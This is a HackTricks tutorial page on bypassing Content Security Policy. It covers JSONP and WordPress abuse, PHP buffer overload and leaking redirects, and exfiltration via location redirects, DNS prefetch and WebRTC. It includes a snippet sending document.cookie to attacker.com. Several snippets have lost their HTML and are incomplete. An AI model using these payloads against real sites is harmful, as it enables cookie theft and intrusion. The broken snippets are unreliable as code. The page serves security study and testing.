# Content Security Policy (CSP) Bypass
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** 🐞 Read web3 bug tutorials 🔔 Get notified about new bug bounties 💬 Participate in community discussions ## What is CSP Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:` Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected. Implemented via response header: ```http Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` Implemented via meta tag: ```markup ``` ### Headers * `Content-Security-Policy` * `Content-Security-Policy-Report-Only` This one won't block anything, only send reports (use in Pre environment). ## Defining resources CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`. ``` default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Directives * **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution. * **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default. * **Child-src**: This directive defines allowed resources for web workers and embedded frame contents. * **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest * **frame-src**: This directive restricts URLs to frames that can be called out. * **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [` // The bot will load an URL with the payload ``` ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) ```javascript document.querySelector('DIV').innerHTML=""; ``` ### Leaking Information CSP + Iframe Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example, the user **admin** accessing **redirectme.domain1.com** is redirected to **adminsecret321.domain2.com** and you can cause an XSS to the admin.\ **Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.** You can leak the domain where the admin is redirected through: * **through CSP violation** * **through CSP rules.** The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this. When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev) ``` img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` Trick from [**here**](https://ctftime.org/writeup/29310).
[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** 🐞 Read web3 bug tutorials 🔔 Get notified about new bug bounties 💬 Participate in community discussions ## Unsafe Technologies to Bypass CSP ### PHP response buffer overload PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\ Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent. Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). ### Rewrite Error Page From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content. ```javascript a = window.open('/' + 'x'.repeat(4100)); setTimeout(function() { a.document.body.innerHTML = ``; }, 1000); ``` ### SOME + 'self' + wordpress SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check: {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) {% endcontent-ref %} Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots). An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta tag You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) ```html ``` ### DNS Prefetch To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ You can indicate a browser to pre-resolve a hostname with: `` You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Another way: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` In order to avoid this from happening the server can send the HTTP header: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Apparently, this technique doesn't work in headless browsers (bots) {% endhint %} ### WebRTC On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. ```javascript var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]}); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp)); ``` However, it doesn't look like it's [not possible anymore](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (or at least not that easy). If you know how to exfiltrate info with WebRTC [**send a pull request please!**](https://github.com/carlospolop/hacktricks) ## Checking CSP Policies Online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatically creating CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## References * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) ​
[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** 🐞 Read web3 bug tutorials 🔔 Get notified about new bug bounties 💬 Participate in community discussions
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).